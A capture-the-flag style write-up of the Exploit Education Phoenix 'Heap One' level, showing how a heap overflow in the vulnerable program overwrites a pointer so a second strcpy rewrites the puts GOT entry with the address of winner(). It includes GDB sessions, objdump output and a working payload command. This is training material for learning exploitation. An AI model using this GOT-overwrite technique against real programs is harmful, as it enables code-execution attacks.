Exploit Education | Phoenix | Heap One Solution

This level explores what can be done with data overwrites.

The description and source code can be found here:
http://exploit.education/phoenix/heap-one/

Fundamentally, this level is not much different than the last one. I’ll be using a buffer overflow exploit. Though this one is a little trickier. We can see what needs to be done just by looking at the source code:

struct heapStructure {
    int priority;
    char *name;
};

int main(int argc, char **argv) {
    struct heapStructure *i1, *i2;

    i1 = malloc(sizeof(struct heapStructure));
    i1->priority = 1;
    i1->name = malloc(8);

    i2 = malloc(sizeof(struct heapStructure));
    i2->priority = 2;
    i2->name = malloc(8);

    strcpy(i1->name, argv[1]);
    strcpy(i2->name, argv[2]);

    printf("and that's a wrap folks!\n");
}

void winner() {
    printf(
        "Congratulations, you've completed this level @ %ld seconds past the "
        "Epoch\n",
        time(NULL));
}

The program allocates 2 pointers on the stack that will point to a struct being stored on the heap. The first struct gets memory allocated to it via malloc(), assigns a number to the priority variable, and allocates another 8 bytes in the heap for the name variable. Then the same thing happens for the second struct. The key here is that the name variable in the struct is a pointer. That’s important because next, the program uses strcpy() to copy the first and second program arguments to the name variables for each struct. Since strcpy() does no bounds checking, I should be able to overflow the buffer of the first name variable and overwrite the pointer to the second name variable. Now I can use the second strcpy() to write (almost) whatever I want to (almost) wherever I want. The goal here is to execute the winner() function. The source code shows one last call to printf() functionbefore the program exits. Maybe I can overwrite the GOT entry for that with the address of the winner() function.

Looking at the disassembly, we see a call to puts() near the end of main(). Sometimes, the compiler optimization will use that instead of printf().

user@phoenix-amd64:~$ cd /opt/phoenix/i486
user@phoenix-amd64:/opt/phoenix/i486$ objdump --no-show-raw-insn -Mintel -d heap-one
...
 8048878:       add    esp,0x10
 804887b:       sub    esp,0xc
 804887e:       push   0x804ab70
 8048883:       call   80485b0 <puts@plt>
 8048888:       add    esp,0x10
 804888b:       mov    eax,0x0
 8048890:       lea    esp,[ebp-0x8]
 8048893:       pop    ecx
 8048894:       pop    ebx
 8048895:       pop    ebp
 8048896:       lea    esp,[ecx-0x4]
 8048899:       ret
...

I’ll need to run the program in GDB to determine the distance between the start of the name buffer and the pointer to the second name variable. I’ll set a breakpoint after the second call to strcpy() so I can search the memory for my input string.

$ gdb -q heap-one
GEF for linux ready, type `gef' to start, `gef config' to configure
71 commands loaded for GDB 8.2.1 using Python engine 3.5
[*] 2 commands could not be loaded, run `gef missing` to know why.
Reading symbols from heap-one...(no debugging symbols found)...done.

gef➤ disas main
Dump of assembler code for function main:
...
   0x08048873 <+158>:   call   0x8048560 <strcpy@plt>
   0x08048878 <+163>:   add    esp,0x10
...

gef➤ b *main+163
Breakpoint 1 at 0x8048878

gef➤ run ABACAD AAAA
Starting program: /opt/phoenix/i486/heap-one ABACAD AAAA

[... GEF output snipped ...]

gef➤ search-pattern ABACAD
[+] Searching 'ABACAD' in memory
[+] In (0xf7e69000-0xf7f69000), permission=rwx
  0xf7e69018 - 0xf7e6901e  →   "ABACAD"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx
  0xffffd8dd - 0xffffd8e3  →   "ABACAD"

gef➤ x/16wx 0xf7e69000
0xf7e69000:     0x00000000      0x00000011      0x00000001      0xf7e69018
0xf7e69010:     0x00000000      0x00000011      0x43414241      0x00004441
0xf7e69020:     0x00000000      0x00000011      0x00000002      0xf7e69038
0xf7e69030:     0x00000000      0x00000011      0x41414141      0x00000000

gef➤ p 0xf7e6902c - 0xf7e69018
$1 = 0x14

I found the location in the heap I was looking for and saw that the buffer for the first name variable begins at 0xf7e69018 and the pointer to the second name variable begins at 0xf7e6902c, which puts them 20 bytes (0x14) apart. Now I need the pointer to the puts() address in the GOT so I can overwrite it as well as the address of the winner() function:

$ objdump --no-show-raw-insn -Mintel -d heap-one
...
080485b0 <puts@plt>:
 80485b0:       jmp    DWORD PTR ds:0x804c140
 80485b6:       push   0x28
 80485bb:       jmp    8048550 <.plt>
...

$ nm heap-one | grep winner
0804889a T winner

Now to put it all together:

$ ./heap-one $(python -c 'print "A"*20 + "\x40\xc1\x04\x08"') $(echo -e "\x9a\x88\x04\x08")
Congratulations, you've completed this level @ 1565476156 seconds past the Epoch

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.